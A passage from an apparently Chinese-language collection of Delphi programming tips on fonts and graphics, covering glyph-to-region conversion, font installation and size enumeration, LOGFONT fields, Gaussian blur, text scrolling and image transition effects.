sx, sy: double; { Scaling factors
}
begin
{ ************************************** }
{  Convert to
polilines
}
{ ************************************** }
strokes :=
GetCharacterGlyphs( CharCode );
if strokes = nil then
begin
Result := 0;
exit;
end;
{ ************************************** }
{
Compose the GDI
region
}
{ ************************************** }
{  Get
character bounds }
cbounds := strokes.Bounds;
{
Scaling factors }
sx :=
SizeX/(cbounds.Right-cbounds.Left+1);
sy :=
SizeY/(cbounds.Bottom-cbounds.Top+1);
{  Allocate memory for
(all) the points }
polys := AllocMem( sizeof(TPoint) * strokes.Count
);
{  Allocate memory for the "points per polygon" counters
}
{$IFDEF WIN32}
polyCounts := AllocMem( sizeof(UINT) *
strokes.NumGlyphs );
{$ELSE}
polyCounts := AllocMem(
sizeof(word) * strokes.NumGlyphs );
{$ENDIF}
{  Copy
glyphs' points to the allocated buffers }
pps := polys;
ppc
:= polyCounts;
for i := 0 to strokes.NumGlyphs-1 do
begin
ppc^ := strokes.GlyphNumStrokes( i
);
sog := strokes.StartOfGlyph( i );
for j := 0 to ppc^-1 do
begin
{  Get a stroke
}
stroke :=
strokes.Stroke[sog+j];
{  Store it
}
pps^.x := OfsX + round(
(stroke.Pt1.X-cbounds.Left) * sx );
pps^.y :=
OfsY + round( (cbounds.Bottom-stroke.Pt1.Y) * sy ); {  Flip vertically!
}
{  Next
}
pps := pointer( pchar(pps) + sizeof(TPoint)
);
end;
ppc := pointer( pchar(ppc) +
sizeof(ppc^) );
end;
Result := CreatePolyPolygonRgn(
polys^,
polyCounts^,
strokes.NumGlyphs,
WINDING );
{  Release buffers }
{$IFDEF
WIN32}
FreeMem( polys );
FreeMem( polyCounts );
{$ELSE}
FreeMem( polys, sizeof(TPoint) * strokes.Count );
FreeMem( polyCounts, sizeof(word) * strokes.NumGlyphs );
{$ENDIF}
{  Release the strokes }
strokes.Free;
end;

function
TTTFToVectorConverter.StrokesToRegion(Strokes:TStrokeCollection;SizeX, SizeY,
OfsX, OfsY: integer ): HRGN;
var
cbounds:
TRect;
i, j, k, sog: integer;
polys,
pps: ^TPoint;
{$ifdef WIN32}
polyCounts, ppc: ^UINT;
{$else}
polyCounts, ppc: ^word;
{$endif}
stroke: TFontStroke;
sx, sy: double; { Scaling factors
}
begin
{ ************************************** }
{  Convert to
polilines
}
{ ************************************** }
if strokes =
nil then
begin
Result :=
0;
exit;
end;
{
************************************** }
{  Compose the GDI
region
}
{ ************************************** }
{  Get
character bounds }
cbounds := strokes.Bounds;
{
Scaling factors }
sx :=
SizeX/(cbounds.Right-cbounds.Left+1);
sy :=
SizeY/(cbounds.Bottom-cbounds.Top+1);
{  Allocate memory for
(all) the points }
polys := AllocMem( sizeof(TPoint) * strokes.Count
);
{  Allocate memory for the "points per polygon" counters
}
{$IFDEF WIN32}
polyCounts := AllocMem( sizeof(UINT) *
strokes.NumGlyphs );
{$ELSE}
polyCounts := AllocMem(
sizeof(word) * strokes.NumGlyphs );
{$ENDIF}
{  Copy
glyphs' points to the allocated buffers }
pps := polys;
ppc
:= polyCounts;
for i := 0 to strokes.NumGlyphs-1 do
begin
ppc^ := strokes.GlyphNumStrokes( i
);
sog := strokes.StartOfGlyph( i );
for j := 0 to ppc^-1 do
begin
{  Get a stroke
}
stroke :=
strokes.Stroke[sog+j];
{  Store it
}
pps^.x := OfsX + round(
(stroke.Pt1.X-cbounds.Left) * sx );
pps^.y :=
OfsY + round( (cbounds.Bottom-stroke.Pt1.Y) * sy ); {  Flip vertically!
}
{  Next
}
pps := pointer( pchar(pps) + sizeof(TPoint)
);
end;
ppc := pointer( pchar(ppc) +
sizeof(ppc^) );
end;
Result := CreatePolyPolygonRgn(
polys^,
polyCounts^,
strokes.NumGlyphs,
WINDING );
{  Release buffers }
{$IFDEF
WIN32}
FreeMem( polys );
FreeMem( polyCounts );
{$ELSE}
FreeMem( polys, sizeof(TPoint) * strokes.Count );
FreeMem( polyCounts, sizeof(word) * strokes.NumGlyphs );
{$ENDIF}
{  Release the strokes }
strokes.Free;
end;

procedure Register;
begin
RegisterComponents( 'D3K', [TTTFToVectorConverter]);
end;

end.


添加字体

uses Registry;

procedure TForm1.Button1Click(Sender: TObject);
var
reg: TRegistry;
b : bool;
begin
CopyFile('C:\DOWNLOAD\FP000100.TTF',
'C:\WINDOWS\FONTS\FP000100.TTF', b);
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.LazyWrite := false;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Fonts',
false);
reg.WriteString('TESTMICR (TrueType)','FP000100.TTF');
reg.CloseKey;
reg.free;
{Add the font resource}
AddFontResource('c:\windows\fonts\FP000100.TTF');
SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
{Remove the resource lock}
RemoveFontResource('c:\windows\fonts\FP000100.TTF');
SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
end;
//////////////////////////////////
type
TForm1=class( TForm )
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
...
private
{ Private declarations }
bLoadedFont: boolean;
public
{ Public declarations }
end;

procedure TForm1.FormCreate(Sender: TObject);

var
sAppDir: string;
sFontRes: string;

begin
sAppDir := Application.ExeName;
sAppDir := copy( sAppDir, 1, rpos( '\', sAppDir ) );

sFontRes := sAppDir + 'MYFONT.FOT';
if not FileExists( sFontRes ) then
begin
sFontRes := sFontRes + #0;
sFont := sAppDir + 'MYFONT.TTF' + #0;
CreateScalableFontResource( 0, @sFontRes[ 1 ], @sFont[ 1 ], nil );
end;

sFontRes := sAppDir + 'MYFONT.FOT';
if FileExists( sFontRes ) then
begin
sFontRes := sFontRes + #0;
if AddFontResource( @sFontRes[ 1 ] ) = 0 then
bLoadedFont := false
else
begin
bLoadedFont := true;
SendMessage( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 );
end;
end;

...
end;

procedure TForm1.FormDestroy(Sender: TObject);

var
sFontRes: string;

begin
if bLoadedFont then
begin
sFontRes := sAppDir + 'MYFONT.FOT' + #0;
RemoveFontResource( @sFontRes[ 1 ] );
SendMessage( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 );
end;
end;


获得字体可用字号

以下的函数GetFontSizeList用来取得字体名为FontName的字体的所有可用尺寸，而EnumFontsSize是其中要用到的字体枚举回调函数：

function EnumFontsSize(var LogFont: TLogFont; var TextMetric:
TTextMetric;
FontType: Integer; Data: Pointer): Integer;
stdcall;
begin
TStrings( Data ).Add(IntToStr( LogFont.lfHeight)
);
Result := 1;
end;

procedure GetFontSizeList( FontName : String; List : TStrings
);
//FontName,是字体名；
//这种字体的所有可用尺寸将被填在List中。
var
DC: HDC;
begin
List.Clear;
DC :=
GetDC(0);
EnumFonts(DC, PChar(FontName), @EnumFontsSize,
Pointer(List));
ReleaseDC(0, DC);
end;

///////////////////////////////////////////////////////////////////
var
Form1: TForm1;
VRES:Integer;

const
MaxStdSizes=16;

function EnumFontFamiliesProc(var LogFont: TLogFont; var TextMetric:
TTextMetric;
FontType: Integer; Data:Pointer): Integer; {$IFDEF WIN32}
stdcall; {$ELSE} export; {$ENDIF}

procedure AddToList(const aValue:String);
var
j:Integer;
c:Boolean;
begin
j:=0;
c:=False;
with TListBox(Data) do
begin
while (j<Items.Count) and not c do
if StrToInt(aValue)>=StrToInt(Items[j]) then Inc(j) else c:=True;
Items.Insert(j, aValue);
end;
end;

var
i:Integer;
c:String;
const
csizes:array[0..MaxStdSizes-1] of Integer=(8,9,10,11,12,14,16,18,20,22,24,26,28,36,48,72);

begin
result:=0;
with TListBox(Data) do
begin
if (FontType and TRUETYPE_FONTTYPE=TRUETYPE_FONTTYPE) or (FontType in [0,2]) then
begin
For i:=0 to (MaxStdSizes-1) do Items.Add(IntToStr(Csizes[i]));
result:=0
end;

if (FontType and RASTER_FONTTYPE=RASTER_FONTTYPE)
{or (FontType and DEVICE_FONTTYPE=DEVICE_FONTTYPE)} then
with TextMetric do
begin
c:=IntToStr(Round((tmHeight-tmInternalLeading)*72 / VRES));
if Items.IndexOf(c)=-1 then AddToList(c);
result:=1;
end;
end
end;

procedure TForm1.DoList(FFontName:String);
var
buffer:array[0..255] of Char;
DC:HDC;
begin
ListBox1.Items.Clear;

    DC:=GetDC(0);
StrPCopy(Buffer,
FFontName);
vres:=GetDeviceCaps(DC,
LOGPIXELSY);
EnumFontFamilies(DC, Buffer,
@EnumFontFamiliesProc,
LongInt(ListBox1));
ReleaseDC(0, DC);
end;


控制打印字体的长宽

首先为了达到这个功能，可以采用Windows的逻辑字体(LogFont)
可以使用 CreateFont 或 CreateFontIndirect 这两个Windows API
函数来定义任何想要的字体，由于 CreateFont 所需的参数甚多通常
我们使用 CreateFontIndirect 来建立所需的逻辑字体，这个API函数
在Delphi中的声明为
function CreateFontIndirect(const p1: TLogFont): HFONT; stdcall;
其中只有一个参数 p1: TLogfont, 所有有关字体的参数完全通过这个
TLogfont结构来传送，Windows将根据结构中的内容创建出相应的逻辑
字体，在Delphi的Windows.pas中TLogFont是这样定义的

TLogFontA = packed record
lfHeight: Longint;
lfWidth:
Longint;
lfEscapement: Longint;
lfOrientation: Longint;
lfWeight:
Longint;
lfItalic: Byte;
lfUnderline: Byte;
lfStrikeOut:
Byte;
lfCharSet: Byte;
lfOutPrecision: Byte;
lfClipPrecision:
Byte;
lfQuality: Byte;
lfPitchAndFamily: Byte;
lfFaceName:
array[0..LF_FACESIZE - 1] of AnsiChar;
end;
TLogFontW = packed
record
lfHeight: Longint;
lfWidth: Longint;
lfEscapement:
Longint;
lfOrientation: Longint;
lfWeight: Longint;

lfItalic: Byte;
lfUnderline: Byte;
lfStrikeOut: Byte;
lfCharSet:
Byte;
lfOutPrecision: Byte;
lfClipPrecision: Byte;
lfQuality:
Byte;
lfPitchAndFamily: Byte;
lfFaceName: array[0..LF_FACESIZE - 1] of
WideChar;
end;
TLogFont = TLogFontA;

其中涉及到很多参数，其中

lfHeight: Longint;
指定以逻辑单位标定的字体高度，取值可为正负或零，对于需要随意
定义字体高度的情况下通常取负值，以保证获得实际尺寸的字体。

lfWidth: Longint;
用于指定字体的平均宽度，由于Windows系统下的大多数字体都是比例

字体因而采用平均宽度这个表示方法。若指定为0，则系统会自动根据
适当的比例自动处理宽度。

lfEscapement: Longint;
指定输出方向与当前坐标系X轴之间的以十分之一度为单位的角度。

lfOrientation: Longint;
指定每个字符与当前坐标系X轴之间的以十分之一度为单位的角度。在
Windows95中这个值等同于lfEscpement。

lfWeight: Longint;
指定范围为从0至1000的字体加重程度，400是标准字体700为加重字体，
0表示采用默认值。

lfItalic: Byte;
不为0表示采用斜体字。

lfUnderline: Byte;
不为0表示带下划线。

lfStrikeOut: Byte;
不为0表示带穿透线。

lfCharSet: Byte;
指定字体集。

lfOutPrecision: Byte;
指定输出精度。用于确定对前面一些设定值的精确程度。

lfClipPrecision: Byte;
指定裁剪精度。裁剪是Windows图形环境下的一种特殊处理，简单说就是
去掉图形中落在视图以外的部分，有助于提高图形的处理速度。

lfQuality: Byte;
指定输出质量。

lfPitchAndFamily: Byte;
指定字体的Pitch和Family。

lfFaceName: array[0..LF_FACESIZE - 1] of AnsiChar;
指定采用的字体名称。

在建立逻辑字体时，我们通常使用

lfHeight和lfWidth来确定字体的尺寸，使用lfEscapement和lfOrientation
来确定字体的输出方向，使用lfWeight, lfItalic, lfUnderline,
lfStrikeOut, 来确定字体的加重，斜体，下划线和穿透线，使用lfCharSet
来确定字体的字符集，通常采用系统默认的字符集。
对于lfOutPrecision, lfClipPrecision, lfQuality一般应用于对屏幕之外
的输出设备，通常采用默认值。采用lfPitchAndFamily来确定采用定宽或可
变字体和字体的家族。以lfFaceName来通过名称选择采用的字体。
另外应当注意在Windows环境下，每种字体具体输出为何种形式取决于很多

因素，需要对以上这些参数进行有效的组合才能达到所要的效果。


文字转化为Gif图象

procedure TxtToGif (txt, FileName: String);
var
temp: TBitmap;
GIF : TGIFImage;
begin

temp:=TBitmap.Create;
try
temp.Height :=400;
temp.Width :=60;
temp.Transparent:=True;
temp.Canvas.Brush.Color:=colFondo.ColorValue;
temp.Canvas.Font.Name:=Fuente.FontName;
temp.Canvas.Font.Color:=colFuente.ColorValue;
temp.Canvas.TextOut (10,10,txt);
Imagen.Picture.Assign(nil);

GIF := TGIFImage.Create;
try
// Convert the bitmap to a GIF
GIF.Assign(Temp);
// Save the GIF
GIF.SaveToFile(FileName);
// Display the GIF
Imagen.Picture.Assign (GIF);
finally
GIF.Free;
end;

Finally

temp.Destroy;
End;
end;

TGIFImage可以使用RXLib或melander写的。


高斯模糊

Gaussian Blur in Delphi

From: ullrich@math.okstate.edu
You can do it like so. In informal testing it appears to take roughly twice as much time as Adobe Photoshop takes to do the same thing, which seems pretty OK to me - there are a lot of things you could do to speed it up.

The gaussian kernel exp(-(x^2 + y^2)) is of the form f(x)*g(y), which means that you can perform a two-dimensional convolution by doing a sequence of one-dimensional convolutions - first you convolve each row and then each column. This is much faster (an N^2 becomes an N*2). Any convolution requires some temporary storage - below the BlurRow routine allocates and frees the memory, meaning that it gets allocated and freed once for each row. Probably changing this would speed it up some, it's not entirely clear how much.

The kernel "size" is limited to 200 entries. In fact if you use radius anything like that large it will take forever - you want to try this with a radius = 3 or 5 or something. For a kernel with that many entries a straight convolution is the thing to do, while when the kernel gets much larger Fourier transform techniques will be better (I couldn't say what the actual cutoff is.)

One comment that needs to be made is that a gaussian blur has the magical property that you can blur each row one by one and then blur each column - this is much faster than an actual 2-d convolution.

Anyway, you can do this:

--------------------------------------------------------------------------------

unit GBlur2;

interface

uses Windows, Graphics;

type
PRGBTriple = ^TRGBTriple;
TRGBTriple = packed record
b: byte; //easier to type than rgbtBlue...
g: byte;
r: byte;
end;

PRow = ^TRow;
TRow = array[0..1000000] of TRGBTriple;

PPRows = ^TPRows;
TPRows = array[0..1000000] of PRow;

const MaxKernelSize = 100;

type

TKernelSize = 1..MaxKernelSize;

    TKernel = record
Size:
TKernelSize;
Weights:
array[-MaxKernelSize..MaxKernelSize] of single;
end;
//the idea is that when using a TKernel you ignore the
Weights
//except for Weights in the range -Size..Size.

procedure GBlur(theBitmap: TBitmap; radius: double);

implementation

uses SysUtils;

procedure MakeGaussianKernel(var K: TKernel; radius:
double;
MaxData, DataGranularity: double);
//makes K into a gaussian kernel
with standard deviation = radius.
//for the current application you
set MaxData = 255,
//DataGranularity = 1. Now the procedure sets the
value of
//K.Size so that when we use K we will ignore the
Weights
//that are so small they can't possibly matter. (Small
Size
//is good because the execution time is going to
be
//propertional to K.Size.)
var j: integer; temp, delta: double;
KernelSize: TKernelSize;
begin
for j:= Low(K.Weights) to
High(K.Weights) do
begin
temp:=
j/radius;
K.Weights[j]:= exp(- temp*temp/2);
end;

//now divide by constant so sum(Weights) = 1:

temp:= 0;
for j:= Low(K.Weights) to High(K.Weights) do
temp:= temp + K.Weights[j];
for j:= Low(K.Weights) to High(K.Weights) do
K.Weights[j]:= K.Weights[j] / temp;

//now discard (or rather mark as ignorable by setting
Size)
//the entries that are too small to matter -
//this is
important, otherwise a blur with a small radius
//will take as long as
with a large radius...
KernelSize:= MaxKernelSize;
delta:=
DataGranularity / (2*MaxData);
temp:= 0;
while (temp <
delta) and (KernelSize > 1) do
begin
temp:= temp + 2 *
K.Weights[KernelSize];
dec(KernelSize);
end;

K.Size:= KernelSize;

//now just to be correct go back and jiggle again so the
//sum of the entries we'll be using is exactly 1:

temp:= 0;
for j:= -K.Size to K.Size do
temp:= temp + K.Weights[j];
for j:= -K.Size to K.Size do
K.Weights[j]:= K.Weights[j] / temp;

end;

function TrimInt(Lower, Upper, theInteger: integer): integer;
begin
if (theInteger <= Upper) and (theInteger >= Lower) then
result:= theInteger
else
if theInteger > Upper then
result:= Upper
else
result:= Lower;
end;

function TrimReal(Lower, Upper: integer; x: double): integer;
begin
if (x < upper) and (x >= lower) then
result:= trunc(x)
else
if x > Upper then
result:= Upper
else
result:= Lower;
end;

procedure BlurRow(var theRow: array of TRGBTriple; K: TKernel; P: PRow);
var j, n, LocalRow: integer; tr, tg, tb: double; //tempRed, etc
w: double;
begin

for j:= 0 to High(theRow) do
begin
tb:= 0;
tg:= 0;
tr:= 0;
for n:= -K.Size to K.Size do
begin
w:= K.Weights[n];

//the TrimInt keeps us from running off the edge of the
row...
with theRow[TrimInt(0, High(theRow), j
- n)] do
begin
tb:= tb + w *
b;
tg:= tg + w *
g;
tr:= tr + w *
r;
end;
end;
with P[j] do
begin
b:= TrimReal(0, 255,
tb);
g:= TrimReal(0, 255,
tg);
r:= TrimReal(0, 255,
tr);
end;
end;

Move(P[0], theRow[0], (High(theRow) + 1) * Sizeof(TRGBTriple));
end;

procedure GBlur(theBitmap: TBitmap; radius: double);
var Row, Col: integer; theRows: PPRows; K: TKernel; ACol: PRow; P:PRow;
begin
if (theBitmap.HandleType >< bmDIB) or (theBitmap.PixelFormat >< pf24Bit) then
raise exception.Create('GBlur only works for 24-bit bitmaps');

MakeGaussianKernel(K, radius, 255, 1);
GetMem(theRows, theBitmap.Height * SizeOf(PRow));
GetMem(ACol, theBitmap.Height * SizeOf(TRGBTriple));

//record the location of the bitmap data:
for Row:= 0 to theBitmap.Height - 1 do
theRows[Row]:= theBitmap.Scanline[Row];

//blur each row:
P:= AllocMem(theBitmap.Width*SizeOf(TRGBTriple));
for Row:= 0 to theBitmap.Height - 1 do
BlurRow(Slice(theRows[Row]^, theBitmap.Width), K, P);

//now blur each column
ReAllocMem(P, theBitmap.Height*SizeOf(TRGBTriple));
for Col:= 0 to theBitmap.Width - 1 do
begin
//- first read the column into a TRow:
for Row:= 0 to theBitmap.Height - 1 do
ACol[Row]:= theRows[Row][Col];

BlurRow(Slice(ACol^, theBitmap.Height), K, P);

//now put that row, um, column back into the data:
for Row:= 0 to theBitmap.Height - 1 do
theRows[Row][Col]:= ACol[Row];
end;

FreeMem(theRows);
FreeMem(ACol);
ReAllocMem(P, 0);
end;

end.

--------------------------------------------------------------------------------
Should work unless some code got deleted along with irrelevant comments. For example:
--------------------------------------------------------------------------------

procedure TForm1.Button1Click(Sender: TObject);
var b:
TBitmap;
begin
if not openDialog1.Execute then exit;

  b:= TBitmap.Create;
b.LoadFromFile(OpenDialog1.Filename);
b.PixelFormat:=
pf24Bit;
Canvas.Draw(0, 0, b);
GBlur(b,
StrToFloat(Edit1.text));
Canvas.Draw(b.Width, 0, b);
b.Free;
end;

--------------------------------------------------------------------------------
Note that displaying 24-bit bitmaps on a 256-color system requires some special tricks - if this looks funny at 256 colors it doesn't prove the blur is wrong.


画三维边框

ExtCtrls 单元中的Frame3D函数让我们可以在任何希望的位置画一个三维矩形框.

用法：

Frame3D(Canvas, Rect, TopColor, BottomColor, Width);

它可用于我们自己来绘制如列表，表格等的边框.


拉幕循环输出

程序把一个文本文件在屏幕上缓慢输出,完全输出后再从头循环输出

修改后可以使用的程序源代码（还是不完善：还不能实现从一侧飞入的效果，容易出错）：
unit
Unit1;

interface

uses
Windows, Messages, SysUtils,
Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls,
ComCtrls, ColorGrd, RxCombos;

type
TForm1 =
class(TForm)
Button1: TButton;
Edit1:
TEdit;
OpenDialog1: TOpenDialog;
Button2:
TButton;
Button3: TButton;
TrackBar1:
TTrackBar;
Panel1: TPanel;
Panel2:
TPanel;
Panel3: TPanel;
Label1:
TLabel;
Label2: TLabel;
Timer1:
TTimer;
Button4: TButton;
ColorDialog1:
TColorDialog;
FontDialog1: TFontDialog;
Button6: TButton;
Button7: TButton;
ComboBox1:
TComboBox;
Panel4: TPanel;
Edit2:
TEdit;
Edit3: TEdit;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Label6:
TLabel;
Edit4: TEdit;
Edit5: TEdit;
Button8: TButton;
Button5: TButton;
procedure Button1Click(Sender: TObject);
procedure
FormCreate(Sender: TObject);
procedure Timer1Timer(Sender:
TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure
TrackBar1Change(Sender: TObject);
procedure FormDestroy(Sender:
TObject);
procedure Button4Click(Sender: TObject);
procedure Button7Click(Sender: TObject);
procedure
Button6Click(Sender: TObject);
procedure Button8Click(Sender:
TObject);
procedure Button5Click(Sender: TObject);
private
procedure zShowText;
Procedure
zBmpCreate;
procedure zSetBmp;
procedure
zSetLineHeight;
procedure zShowLine(sender :TObject);
{ Private declarations }
public
{ Public
declarations }
end;

var
Form1:
TForm1;

implementation

{$R *.DFM}
const
bWidth=200;
var
currline, LineHeight:integer;
sItem:TStringList;
bmp:TBitMap;
bRect,R1:TRect;
iDc:HDC;

procedure TForm1.Button1Click(Sender:
TObject);
begin
OpenDialog1.Execute;
Edit1.Text:=OpenDialog1.FileName;
end;

procedure
TForm1.FormCreate(Sender: TObject);
begin
Form1.WindowState:=wsMaximized;
Panel1.Top:=80;
Panel1.Left:=96;
Panel1.Height:=385;
Panel1.Width:=433;
Timer1.Enabled:=False;
Label2.Caption:='100';
iDC:=GetDc(Panel1.handle);
Currline:=0;
end;

procedure TForm1.zShowLine(sender
:TObject);
begin
zShowText;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
zShowLine(self);//显示字符串
//bitblt 转移矩形图 (目标句柄，LS x,y,宽，高，源句柄，LS
x,y,光栅运算符）
BitBlt(iDc,0,0,Panel1.Width,Panel1.Height,
Bmp.Canvas.Handle,0,Currline,srcCopy);
Inc(Currline,1);
if
Currline>=bRect.Bottom-panel1.Height+100 then//循环条件？
begin
Timer1.Enabled:=False;
Currline:=0;
end;
end;

procedure
TForm1.zShowText;
var
i:integer;
ss:string;
ReadFile:TextFile;
begin
AssignFile(ReadFile,Edit1.Text);
Reset(ReadFile);
i:=1;
sItem:=TStringList.Create;
with sItem do
while not eof(ReadFile) do
begin
Readln(ReadFile,ss);
add(ss);
i:=i+1;
end;
CloseFile(ReadFile);
zBmpCreate;
sItem.Free;//释放串
end;

procedure TForm1.zBmpCreate;
//创建图片
var
i,y:integer; //y
begin
if bmp<>nil
then bmp.free;
bmp:=TBitMap.Create;
zSetBmp;
R1.Right:=bRect.Right;
R1.Bottom:=bRect.Bottom;
y:=Panel1.Height-100;
for i:=0 to sItem.Count-1 do // 从0到行数
循环显示图片
begin
R1.Top:=y;
R1.Bottom:=R1.Top+LineHeight;
if Combobox1.Text='中间对齐'
then  //显示图片
DrawText(Bmp.Canvas.Handle,pChar(sItem[i]),-1,R1,Dt_Center or Dt_Top)
else
if Combobox1.Text='左对齐' then
DrawText(Bmp.Canvas.Handle,pChar(sItem[i]),-1,R1,Dt_Left or Dt_Top)
else
if Combobox1.Text='右对齐'then
DrawText(Bmp.Canvas.Handle,pChar(sItem[i]),-1,R1,Dt_Right or Dt_Top)
else
DrawText(Bmp.Canvas.Handle,pChar(sItem[i]),-1,R1,Dt_Center or Dt_Top);
Inc(y,LineHeight);
end;
end;

procedure TForm1.zSetBmp;
begin
zSetLineHeight;
with bRect do //Rect 矩形坐标(左上x,左下y,右上x,右下y)
begin
Top:=0;
Left:=0;
Right:=Panel1.Width;
Bottom:=LineHeight*sItem.Count+Height;//行高*行数+form高度
end;
with Bmp do
begin
Height:=bRect.Bottom+100;//图片高度
Width:=bRect.Right;
with Canvas do  //canvas 画布
begin
Font:=FontDialog1.Font;
//Font:=self.Font;//form所设置的字体
Brush.Color:=ColorDialog1.Color;
FillRect(bRect);
Brush.Style:=bsClear;
end;
end;
end;

procedure
TForm1.zSetLineHeight;
{设置行间隔}
var
Metrics:TTextMetric;
//设置字体 API
begin
GetTextMetrics(iDc,Metrics);
LineHeight:=Metrics.tmHeight+Metrics.tmInternalLeading-Bmp.Canvas.Font.Height;
end;

procedure
TForm1.Button2Click(Sender: TObject);
begin
if Edit1.Text='' then
ShowMessage('请输入文件地址')
else
begin
if Button2.Caption='开始' then
Button2.Caption:='暂停'
else Button2.Caption:='开始';
Timer1.Enabled:=not Timer1.Enabled;
end;
end;

procedure
TForm1.Button3Click(Sender: TObject);
begin
timer1.Enabled
:=false;
Currline:=0;
Button2.Click;
Button2.Caption:='暂停';
end;

procedure TForm1.TrackBar1Change(Sender:
TObject);
begin
Timer1.Interval:=TrackBar1.Position*5;
Label2.Caption:=inttostr(Timer1.Interval);
end;

procedure
TForm1.FormDestroy(Sender: TObject);
begin
if Bmp<>nil then
Bmp.Free;
end;

procedure TForm1.Button4Click(Sender:
TObject);
begin
close;
end;

procedure
TForm1.Button7Click(Sender:
TObject);
begin
FontDialog1.Execute;
end;

procedure
TForm1.Button6Click(Sender:
TObject);
begin
ColorDialog1.Execute;
end;

procedure
TForm1.Button8Click(Sender: TObject);
begin
if
((strtoint(Edit2.Text)>=600) or (strtoint(Edit3.text)>=500)  or
((strtoint(Edit5.Text)>=553) or (strtoint(Edit4.Text)>=630)))
then showmessage('范围超界')
else
begin
Panel1.Top:=strtoint(Edit2.text);
Panel1.Left:=strtoint(Edit3.text);
Panel1.Width:=strtoint(Edit4.text);
Panel1.Height:=strtoint(Edit5.text);
end;

end;

procedure TForm1.Button5Click(Sender:
TObject);
begin
Panel1.Top:=0;
Panel1.Left:=0;
Panel1.Width:=Panel3.Width;
Panel1.Height:=Panel3.Height;
end;

end.

详细讨论在：http://www.csdn.net/expert/topic/97/97371.shtm


图形显示技巧

        概述
    ----目前在许多学习软件、游戏光盘中，经常会看到各种
    图形显示技巧，凭着图形的移动、交错、雨滴状、百页窗、积木堆叠等显现方式，使画面变得更为生动活泼，更 能吸引观众。本文将探讨如何在delphi中实现各种图形显示技巧。
    基本原理
    ----在delphi中，实现一副图象的显示是非常简单的，只要在form中定义一个timage组件，设置其picture属性，然后选 择任何有效的.ico、.bmp、.emf或.wmf文件，进行load，所选文 件就显示在timage组件中了。但这只是直接将图形显示在窗体中，毫无技巧可言。为了使图形显示具有别具一格的效果，可以按下列步骤实现：
    ----定义一个timage组件，把要显示的图形先装入到timage组件中，也就是说，把图形内容从磁盘载入内存中， 做为图形缓存。
    ----创建一新的位图对象，其尺寸跟timage组件中的图形一样。
    ----利用画布(canvas)的copyrect功能(将一个画布的矩形区域拷贝到另一个画布的矩形区域)，使用技巧，动态形
    成位图文件内容，然后在窗体中显示位图。
    ----实现方法
    下面介绍各种图形显示技巧：
1.推拉效果
    将要显示的图形由上、下、左、右方向拉进屏幕内显示，同时将屏幕上原来的旧图盖掉，此种效果可分为四
    种，上拉、下拉、左拉、右拉，但原理都差不多，以上拉 效果为例。
原理：首先将放在暂存图形的第一条水平线，搬移至要显示的位图的最后一条，接着再将暂存图形的前两条水平线，依序搬移至要显示位图的最后两条水平线，然后搬移前三条、前四条叄?直到全部图形数据搬完为止。在搬移的过程中即可看到显示的位图由下而上浮起，而达到上拉的效果。
程序算法：
procedure tform1.button1click(sender: tobject);
var
newbmp: tbitmap;
i,bmpheight,bmpwidth:integer;
begin
newbmp:= tbitmap.create;
newbmp.width:=image1.width;
newbmp.height:=image1.height;
bmpheight:=image1.height;
bmpwidth:=image1.width;
for i:=0 to bmpheight do
begin
newbmp.canvas.copyrect(rect
(0,bmpheight-i,bmpwidth,bmpheight),
image1.canvas,
rect(0,0,bmpwidth,i));
form1.canvas.draw(120,100,newbmp);
end;
newbmp.free;
end;
2.垂直交错效果
原理：将要显示的图形拆成两部分，奇数条扫描线由上往下搬移，偶数条扫描线的部分则由下往上搬移，而且两者同时进行。从屏幕上便可看到分别由上下两端出现的较淡图形向屏幕中央移动，直到完全清楚为止。
程序算法：
procedure tform1.button4click(sender: tobject);
var
newbmp:tbitmap;
i,j,bmpheight,bmpwidth:integer;
begin
newbmp:= tbitmap.create;
newbmp.width:=image1.width;
newbmp.height:=image1.height;
bmpheight:=image1.height;
bmpwidth:=image1.width;
i:=0;
while i< =bmpheight do
begin
j:=i;
while j >0 do
begin
newbmp.canvas.copyrect(rect(0,j-1,bmpwidth,j),
image1.canvas,
rect(0,bmpheight-i+j-1,bmpwidth,bmpheight-i+j));
newbmp.canvas.copyrect(rect
(0,bmpheight-j,bmpwidth,bmpheight-j+1),
image1.canvas,
rect(0,i-j,bmpwidth,i-j+1));
j:=j-2;
end;
form1.canvas.draw(120,100,newbmp);
i:=i+2;
end;
newbmp.free;
end;
3.水平交错效果
原理：同垂直交错效果原理一样，只是将分成两组后的图形分别由左右两端移进屏幕。
程序算法：
procedure tform1.button5click(sender: tobject);
var
newbmp:tbitmap;
i,j,bmpheight,bmpwidth:integer;
begin
newbmp:= tbitmap.create;
newbmp.width:=image1.width;
newbmp.height:=image1.height;
bmpheight:=image1.height;
bmpwidth:=image1.width;
i:=0;
while i< =bmpwidth do
begin
j:=i;
while j >0 do
begin
newbmp.canvas.copyrect(rect(j-1,0,j,bmpheight),
image1.canvas,
rect(bmpwidth-i+j-1,0,bmpwidth-i+j,bmpheight));
newbmp.canvas.copyrect(rect
(bmpwidth-j,0,bmpwidth-j+1,bmpheight),
image1.canvas,
rect(i-j,0,i-j+1,bmpheight));
j:=j-2;
end;
form1.canvas.draw(120,100,newbmp);
i:=i+2;
end;
newbmp.free;
end;
4.雨滴效果
原理：将暂存图形的最后一条扫描线，依序搬移到可视位图的第一条到最后一条扫描线，让此条扫描线在屏幕上留下它的轨迹。接着再把暂存图形的倒数第二条扫描线，依序搬移到可视位图的第一条到倒数第二条扫描线。其余的扫描线依此类推。
程序算法：
procedure tform1.button3click(sender: tobject);
var
newbmp:tbitmap;
i,j,bmpheight,bmpwidth:integer;
begin
newbmp:= tbitmap.create;
newbmp.width:=image1.width;
newbmp.height:=image1.height;
bmpheight:=image1.height;
bmpwidth:=image1.width;
for i:=bmpheight downto 1 do
for j:=1 to i do
begin
newbmp.canvas.copyrect(rect(0,j-1,bmpwidth,j),
image1.canvas,
rect(0,i-1,bmpwidth,i));
